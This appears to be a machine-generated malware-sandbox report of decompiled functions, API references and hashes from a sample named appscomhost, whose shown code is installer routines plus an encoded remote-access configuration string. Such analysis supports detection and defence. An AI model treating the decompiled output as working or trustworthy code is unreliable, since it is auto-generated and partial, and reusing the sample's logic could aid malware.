0x00402bc5
0x00402703
0x00402703
0x0040270a
0x0040270c
0x0040270c
0x00402712
0x00402876
0x00402876
0x00402879
0x0040287e
0x004015b6
0x00402925
0x00402925
0x00000000
0x00402718
0x00402719
0x00402724
0x00402727
0x00402733
0x00402737
0x004027cf
0x004027e7
0x004027f7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040273d
0x0040273d
0x00402740
0x00402741
0x00402744
0x00402749
0x00402750
0x00402758
0x00000000
0x0040275e
0x0040275e
0x00402763
0x00000000
0x00402769
0x00402769
0x00402771
0x00402774
0x00402777
0x00402832
0x00402839
0x0040277d
0x00402783
0x0040278f
0x004027f9
0x004027f9
0x00402791
0x00402791
0x00402794
0x00402796
0x00402796
0x00402796
0x00402799
0x0040279e
0x004027a1
0x00000000
0x00000000
0x004027a3
0x004027a6
0x004027b4
0x004027ba
0x004027c8
0x00000000
0x004027ca
0x00000000
0x004027ca
0x00000000
0x004027c8
0x00402796
0x004027fc
0x004027ff
0x00000000
0x00402801
0x00402806
0x00402847
0x00402869
0x00402870
0x00402855
0x00402855
0x00402858
0x0040285b
0x0040285e
0x0040285e
0x00000000
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281b
0x0040281f
0x00402822
0x00000000
0x00000000
0x00000000
0x00000000
0x00402822
0x00402806
0x004027ff
0x00402777
0x00402763
0x00402758
0x00000000
0x00402824
0x00402824
0x00402827
0x00402830
0x00000000
0x00402727
0x00402712
0x00402bcb
0x00402bd1

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027C4

Part of subcall function 00405FE8: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,?,?,?,004026C9,00000000,00000000,?,00000000,00000011), ref: 00405FFE

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 8410ce84dbe19566fde7ee233b8fe7c40f053388abe1ba12f843fb9d727994ba
Instruction ID: 614e107741a9b4711adc0502a2296bd7c5a252238b3f3636d5f8531f75ae5c93
Opcode Fuzzy Hash: 8410ce84dbe19566fde7ee233b8fe7c40f053388abe1ba12f843fb9d727994ba
Instruction Fuzzy Hash: C851FA75D00219ABDF20DF95CA89AAEBB79FF04344F10817BE501B62D0E7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00405479, Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405479(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x472ee4;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x47afd4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E0040644E(_t38, 0, 0x448248, 0x448248, _a4);
					}
					_t27 = lstrlenW(0x448248);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x472ec8, 0x448248);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x448248;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x448248[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x8000) {
							_t27 = lstrcatW(0x448248, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x0040547f
0x00405489
0x0040548e
0x00405494
0x0040549f
0x004054a2
0x004054a5
0x004054ab
0x004054ab
0x004054b1
0x004054b9
0x004054bc
0x004054d9
0x004054dd
0x004054e6
0x004054e6
0x004054f0
0x004054f9
0x00405505
0x0040550c
0x00405510
0x00405513
0x00405526
0x00405534
0x00405534
0x00405538
0x0040553a
0x0040553d
0x00000000
0x0040553d
0x004054be
0x004054c6
0x004054ce
0x004054d4
0x00000000
0x004054d4
0x004054ce
0x004054bc
0x00405549

APIs

lstrlenW.KERNEL32(00448248,00000000,004130AD,74B5EA30,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
lstrlenW.KERNEL32(004033B0,00448248,00000000,004130AD,74B5EA30,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
lstrcatW.KERNEL32(00448248,004033B0), ref: 004054D4
SetWindowTextW.USER32(00448248,00448248), ref: 004054E6
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 5216347a10504fc6361b0da0c564cf307540e10405f6369210a09dd00e242bfe
Instruction ID: 3d2d7306f36f66b10ad38d67e973f20e47d2408de87b544a4a6461994d92318b
Opcode Fuzzy Hash: 5216347a10504fc6361b0da0c564cf307540e10405f6369210a09dd00e242bfe
Instruction Fuzzy Hash: 6D21AF71900518BBCB119FA5DD85ACFBFB9EF45314F10807AF904B22A0C7798A90DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404D22, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404D22(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404d30
0x00404d3d
0x00404d43
0x00404d81
0x00404d81
0x00404d90
0x00404d97
0x00000000
0x00404d99
0x00404d45
0x00404d54
0x00404d5c
0x00404d5f
0x00404d71
0x00404d77
0x00404d7e
0x00000000
0x00404d7e
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D3D
GetMessagePos.USER32 ref: 00404D45
ScreenToClient.USER32 ref: 00404D5F
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D71
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D97

Strings

f, xrefs: 00404D73

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 7205eec21020573454be23e67ac2b5f41aa1c09cc3aa20a5ad054807a565c042
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 63014C71900219BADB00DBA4DD85BFEBBBCAF54B11F10012BBA50F61C0D7B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 10002C7B, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002C7B(short* _a4) {
				void* __edi;
				void* _t5;
				intOrPtr* _t9;
				intOrPtr* _t11;
				intOrPtr* _t17;
				intOrPtr _t21;
				intOrPtr _t22;

				_t21 =  *0x10007288; // 0x41e650
				if(_t21 != 0) {
					_t22 =  *0x10007008; // 0x1
					if(_t22 == 0) {
						_t17 = GlobalAlloc(0x40, 0x408);
						_t3 = _t17 + 4; // 0x4
						WideCharToMultiByte(0, 0, _a4, 0xffffffff, _t3, 0x400, 0, 0);
					} else {
						_t17 = GlobalAlloc(0x40, 0x808);
						_t2 = _t17 + 4; // 0x4
						E10001982(0, _t2, _a4, 0x400);
					}
					_t9 =  *0x10007288; // 0x41e650
					 *_t17 =  *_t9;
					_t11 =  *0x10007288; // 0x41e650
					 *_t11 = _t17;
					return _t11;
				}
				return _t5;
			}

0x10002c7e
0x10002c84
0x10002c86
0x10002c8d
0x10002cc9
0x10002ccb
0x10002cd7
0x10002c8f
0x10002ca5
0x10002ca7
0x10002cab
0x10002cb0
0x10002cdd
0x10002ce4
0x10002ce6
0x10002ceb
0x00000000
0x10002ced
0x10002cef

APIs

GlobalAlloc.KERNEL32(00000040,00000808,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,10003020,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY,00000400,00000001,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?), ref: 10002C96
GlobalAlloc.KERNEL32(00000040,00000408,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,10003020,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY,00000400,00000001,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?), ref: 10002CBC
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000004,00000400,00000000,00000000), ref: 10002CD7

Strings

PA, xrefs: 10002C7E, 10002CDD, 10002CE6
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10002C7B
REG_BINARY, xrefs: 10002C8C

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: AllocGlobal$ByteCharMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$PA$REG_BINARY
API String ID: 2030156529-2805286679
Opcode ID: fc64ed17b903e3899c077776821cbd57459736d6cb3056fc7c67814bddabf1b4
Instruction ID: f3ab0f1b1d71ccfb36cfdf9fed2a1d9ca7cd58b359c6c0ec9dd6f3fbbbb2432f
Opcode Fuzzy Hash: fc64ed17b903e3899c077776821cbd57459736d6cb3056fc7c67814bddabf1b4
Instruction Fuzzy Hash: 7AF0C272940320EFF3918F54CC85E5B37F4F789BE1F100229F789A62A8DA355440CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2B, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F2B(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x430218; // 0x52f94b
					_t11 =  *0x43c224;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402f3b
0x00402f49
0x00402f4f
0x00402f4f
0x00402f5d
0x00402f5f
0x00402f65
0x00402f6c
0x00402f6e
0x00402f6e
0x00402f84
0x00402f94
0x00402fa6
0x00402fa6
0x00402fae

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402F49
MulDiv.KERNEL32(0052F94B,00000064,?), ref: 00402F74
wsprintfW.USER32 ref: 00402F84
SetWindowTextW.USER32(?,?), ref: 00402F94
SetDlgItemTextW.USER32 ref: 00402FA6

Strings

verifying installer: %d%%, xrefs: 00402F7E

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: cd51b715db0592117ff2fa62a68d7f6a70a85000c56b908f850b6b4f7eb48ecd
Instruction ID: f2587fa60041157c7e438b931ecd19fd7b54b9a566cf2f662f206efef57554b1
Opcode Fuzzy Hash: cd51b715db0592117ff2fa62a68d7f6a70a85000c56b908f850b6b4f7eb48ecd
Instruction Fuzzy Hash: 9501447164020DBBEF249F60DE49FAA3B79EB04344F008039FA06A51D0DBB899559F58

Uniqueness

Uniqueness Score: -1.00%

Function 10001EAF, Relevance: 9.4, APIs: 3, Strings: 3, Instructions: 382
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001EAF(signed int _a4, short* _a8, char _a12) {
				char* _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				short* _v24;
				char _v28;
				void* __edi;
				short* _t126;
				short _t130;
				char _t132;
				intOrPtr _t133;
				short _t134;
				void* _t135;
				signed int _t141;
				signed int _t143;
				signed int _t144;
				signed int _t148;
				signed int _t150;
				signed int _t152;
				signed int _t154;
				signed int _t158;
				signed int _t161;
				void* _t165;
				signed int _t168;
				void* _t170;
				signed int _t173;
				signed int _t176;
				short _t178;
				intOrPtr _t179;
				signed int _t182;
				short* _t183;
				intOrPtr* _t189;
				intOrPtr* _t191;
				signed int _t197;
				short _t207;
				short* _t210;
				short _t217;
				signed int _t219;
				signed int _t222;
				short _t223;
				char* _t225;
				short _t226;
				signed int _t227;
				void* _t229;
				void* _t238;

				_t126 = _a8;
				_v12 = _v12 & 0x00000000;
				_t183 = _a4;
				_v16 = _t126;
				_v8 =  &_a12;
				if( *_t126 == 0) {
					L118:
					if(_a4 == 0) {
						_t183 =  &(_t183[1]);
						__eflags = _t183;
					} else {
						 *_t183 =  *_t183 & 0x00000000;
					}
					return _t183 - _a4 >> 1;
				} else {
					do {
						_t189 = _v16;
						_t130 =  *_t189;
						if(_t130 != 0x25) {
							__eflags = _a4;
							if(_a4 != 0) {
								 *_t183 = _t130;
							}
							_t183 =  &(_t183[1]);
							__eflags = _t183;
						} else {
							_t222 = 0;
							_t219 = 0;
							_t191 = _t189 + 2;
							_v24 = _t183;
							_v28 = 0x20;
							_v20 = 0;
							_v16 = _t191;
							if( *_t191 == 0x2d) {
								_t219 = 0xffffffff;
								_t191 = _t191 + 2;
								_v16 = _t191;
							}
							_t132 = 0x30;
							if( *_t191 == _t132) {
								_t191 = _t191 + 2;
								_v28 = _t132;
								_v16 = _t191;
							}
							_t133 =  *_t191;
							if(_t133 >= 0x31 && _t133 <= 0x39) {
								_t182 = E10001A83(_t191,  &_v16);
								_t191 = _v16;
								_t238 = _t219 - 0xffffffff;
								_t219 = _t182;
								if(_t238 == 0) {
									_t219 =  ~_t219;
								}
							}
							if( *_t191 != 0x2e) {
								L19:
								if( *_t191 == 0x49) {
									_t222 = 1;
									_t191 = _t191 + 2;
									_v16 = _t191;
								}
								_t134 =  *_t191;
								if(_t134 != 0x25) {
									__eflags = _t134 - 0x63;
									if(_t134 != 0x63) {
										__eflags = _t134 - 0x64;
										if(_t134 != 0x64) {
											__eflags = _t134 - 0x75;
											if(_t134 != 0x75) {
												__eflags = _t134 - 0x78;
												if(_t134 == 0x78) {
													L86:
													_v8 = _v8 + 4;
													_t222 = _a4;
													_t223 =  *(_v8 - 4);
													if(_a4 == 0) {
														L88:
														__eflags = _t134 - 0x78;
														_t135 = E10001CDF(_t223, 0, 0, 0 | _t134 == 0x00000078);
														_t229 = _t229 + 0x10;
														__eflags = _t219;
														_v12 = _t135 - 1;
														if(_t219 > 0) {
															_t150 = _t219 - _v12;
															__eflags = _t150;
															if(_t150 <= 0) {
																_t219 = 0;
																__eflags = 0;
															} else {
																_t219 = _t150;
															}
															_t183 =  &(_t183[_t219]);
														}
														L93:
														__eflags = _a4;
														if(__eflags == 0) {
															L96:
															_t183 =  &(_t183[_v12]);
															goto L97;
														}
														 *_v16 - 0x78 =  *_v16 == 0x78;
														_t148 = E10001CDF(_t223, _t183, 0, 0 |  *_v16 == 0x00000078);
														_t229 = _t229 + 0x10;
														L95:
														_v12 = _t148;
														goto L96;
													}
													__eflags = _t219;
													if(_t219 <= 0) {
														goto L93;
													}
													goto L88;
												}
												__eflags = _t134 - 0x58;
												if(_t134 == 0x58) {
													goto L86;
												}
												__eflags = _t134 - 0x73;
												if(_t134 == 0x73) {
													L62:
													_v8 = _v8 + 4;
													_t225 =  *(_v8 - 4);
													__eflags = _t225;
													if(__eflags == 0) {
														goto L97;
													}
													__eflags = _v20 - 0xffffffff;
													if(__eflags == 0) {
														goto L97;
													}
													__eflags = _t134 - 0x53;
													if(_t134 == 0x53) {
														_v12 = lstrlenA(_t225);
													}
													__eflags = _a4;
													if(_a4 == 0) {
														L68:
														__eflags =  *_v16 - 0x73;
														if( *_v16 == 0x73) {
															_v12 = lstrlenW(_t225);
														}
														_t152 = _v20;
														__eflags = _t152;
														if(_t152 != 0) {
															__eflags = _v12 - _t152;
															if(_v12 >= _t152) {
																_v12 = _t152;
															}
														}
														__eflags = _t219;
														if(_t219 > 0) {
															_t161 = _t219 - _v12;
															__eflags = _t161;
															if(_t161 <= 0) {
																_t219 = 0;
																__eflags = 0;
															} else {
																_t219 = _t161;
															}
															_t183 =  &(_t183[_t219]);
														}
														goto L78;
													} else {
														__eflags = _t219;
														if(_t219 <= 0) {
															L78:
															__eflags = _a4;
															if(__eflags == 0) {
																goto L96;
															}
															__eflags =  *_v16 - 0x53;
															if( *_v16 != 0x53) {
																_t154 = _v20;
																__eflags = _t154;
																if(_t154 == 0) {
																	_t155 = _t154 | 0xffffffff;
																	__eflags = _t154 | 0xffffffff;
																} else {
																	_t155 = _t154 + 1;
																}
																_t148 = E10001982(_t219, _t183, _t225, _t155);
																_t229 = _t229 + 0xc;
																goto L95;
															}
															_t158 = MultiByteToWideChar(0, 0, _t225, _v12 + 1, _t183, _v12 + 1);
															__eflags = _t158;
															_v12 = _t158;
															if(__eflags != 0) {
																_v12 = _v12 - 1;
																_t183[_v12] = _t183[_v12] & 0x00000000;
															}
															goto L96;
														}
														goto L68;
													}
												}
												__eflags = _t134 - 0x53;
												if(__eflags != 0) {
													goto L97;
												}
												goto L62;
											}
											_v8 = _v8 + 4;
											_t222 = _a4;
											_t226 =  *(_v8 - 4);
											if(_a4 == 0) {
												L50:
												_t165 = E10001B5D(_t226, 0);
												__eflags = _t219;
												_v12 = _t165 - 1;
												if(_t219 > 0) {
													_t168 = _t219 - _v12;
													__eflags = _t168;
													if(_t168 <= 0) {
														_t219 = 0;
														__eflags = 0;
													} else {
														_t219 = _t168;
													}
													_t183 =  &(_t183[_t219]);
												}
												L55:
												__eflags = _a4;
												if(__eflags == 0) {
													goto L96;
												}
												_t148 = E10001B5D(_t226, _t183);
												L57:
												goto L95;
											}
											__eflags = _t219;
											if(_t219 <= 0) {
												goto L55;
											}
											goto L50;
										}
										_v8 = _v8 + 4;
										_t222 = _a4;
										_t227 =  *(_v8 - 4);
										if(_a4 == 0) {
											L36:
											_t170 = E10001AE5(_t227, 0);
											__eflags = _t219;
											_v12 = _t170 - 1;
											if(_t219 > 0) {
												_t173 = _t219 - _v12;
												__eflags = _t173;
												if(_t173 <= 0) {
													_t219 = 0;
													__eflags = 0;
												} else {
													_t219 = _t173;
												}
												__eflags = _t219;
												_t183 =  &(_t183[_t219]);
												if(_t219 > 0) {
													__eflags = _t227;
													if(_t227 < 0) {
														__eflags = _a4;
														if(_a4 != 0) {
															 *_v24 = 0x2d;
														}
														_t51 =  &_v24;
														 *_t51 =  &(_v24[1]);
														__eflags =  *_t51;
													}
												}
											}
											L45:
											__eflags = _a4;
											if(__eflags == 0) {
												goto L96;
											}
											_t148 = E10001AE5(_t227, _t183);
											goto L57;
										}
										__eflags = _t219;
										if(_t219 <= 0) {
											goto L45;
										}
										goto L36;
									}
									_v8 = _v8 + 4;
									__eflags = _t219;
									_t207 =  *(_v8 - 4);
									if(_t219 > 0) {
										_t36 = _t219 - 1; // -1
										_t176 = _t36;
										__eflags = _t176;
										if(_t176 <= 0) {
											_t219 = 0;
											__eflags = 0;
										} else {
											_t219 = _t176;
										}
										_t183 =  &(_t183[_t219]);
									}
									__eflags = _a4;
									if(__eflags != 0) {
										 *_t183 = _t207;
									}
									goto L24;
								} else {
									if(_a4 != 0) {
										 *_t183 = _t134;
									}
									L24:
									_t183 =  &(_t183[1]);
									L97:
									if(_t219 <= 0) {
										if(__eflags >= 0) {
											goto L116;
										}
										_t141 = (_t183 - _v24 >> 1) + _t219;
										__eflags = _t141;
										if(_t141 >= 0) {
											_t141 = 0;
											__eflags = 0;
										}
										__eflags = _a4;
										if(__eflags == 0) {
											_t183 =  &(_t183[ ~_t141]);
										} else {
											_t143 = _t141 + 1;
											__eflags = _t143;
											if(__eflags > 0) {
												goto L116;
											}
											_t117 =  &_v28; // 0x20
											_t217 =  *_t117;
											_t144 = _t143 + 1;
											__eflags = _t144;
											 *_t183 = _t217;
											if(__eflags > 0) {
												goto L116;
											}
											_t197 = 1 - _t144;
											__eflags = 1;
											do {
												_t183 =  &(_t183[1]);
												_t197 = _t197 - 1;
												__eflags = _t197;
												 *_t183 = _t217;
											} while (__eflags != 0);
										}
										goto L116;
									}
									if(_a4 == 0) {
										goto L116;
									}
									while(1) {
										_t219 = _t219 - 1;
										if(_t219 < 0) {
											break;
										}
										_t112 =  &_v28; // 0x20
										_v24[_t219] =  *_t112;
									}
									goto L116;
								}
							}
							_t210 = _t191 + 2;
							_v16 = _t210;
							if( *_t210 != 0x25) {
								L16:
								_t178 = E10001A83(_t210,  &_v16);
								_t191 = _v16;
								L17:
								_v20 = _t178;
								if(_t178 == 0) {
									_v20 = _v20 | 0xffffffff;
								}
								goto L19;
							}
							_t179 =  *((intOrPtr*)(_t210 + 2));
							if(_t179 == 0x75 || _t179 == 0x64) {
								_v8 = _v8 + 4;
								_t178 =  *(_v8 - 4);
								_t191 = _t210 + 4;
								_v16 = _t191;
								goto L17;
							} else {
								goto L16;
							}
						}
						L116:
						_v16 = _v16 + 2;
					} while ( *_v16 != 0);
					goto L118;
				}
			}

0x10001eb5
0x10001eb8
0x10001ec4
0x10001ec7
0x10001eca
0x10001ecd
0x10002278
0x1000227c
0x10002285
0x10002285
0x1000227e
0x1000227e
0x1000227e
0x1000228f
0x10001ed3
0x10001ed5
0x10001ed5
0x10001ed8
0x10001edf
0x1000225a
0x1000225e
0x10002260
0x10002260
0x10002264
0x10002264
0x10001ee5
0x10001ee5
0x10001ee7
0x10001eea
0x10001eef
0x10001ef2
0x10001ef9
0x10001efc
0x10001eff
0x10001f01
0x10001f05
0x10001f06
0x10001f06
0x10001f0b
0x10001f0f
0x10001f12
0x10001f13
0x10001f16
0x10001f16
0x10001f19
0x10001f20
0x10001f2d
0x10001f34
0x10001f37
0x10001f3a
0x10001f3c
0x10001f3e
0x10001f3e
0x10001f3c
0x10001f44
0x10001f8d
0x10001f91
0x10001f95
0x10001f97
0x10001f98
0x10001f98
0x10001f9b
0x10001fa2
0x10001fb4
0x10001fb8
0x10001fe3
0x10001fe7
0x10002050
0x10002054
0x100020a8
0x100020ac
0x10002194
0x10002194
0x1000219d
0x100021a1
0x100021a4
0x100021aa
0x100021ac
0x100021b9
0x100021be
0x100021c2
0x100021c4
0x100021c7
0x100021cb
0x100021ce
0x100021d0
0x100021d6
0x100021d6
0x100021d2
0x100021d2
0x100021d2
0x100021d8
0x100021d8
0x100021db
0x100021db
0x100021df
0x100021fd
0x10002200
0x00000000
0x10002200
0x100021ea
0x100021f2
0x100021f7
0x100021fa
0x100021fa
0x00000000
0x100021fa
0x100021a6
0x100021a8
0x00000000
0x00000000
0x00000000
0x100021a8
0x100020b2
0x100020b6
0x00000000
0x00000000
0x100020bc
0x100020c0
0x100020cc
0x100020cc
0x100020d3
0x100020d6
0x100020d8
0x00000000
0x00000000
0x100020de
0x100020e2
0x00000000
0x00000000
0x100020e8
0x100020ec
0x100020f5
0x100020f5
0x100020f8
0x100020fc
0x10002102
0x10002105
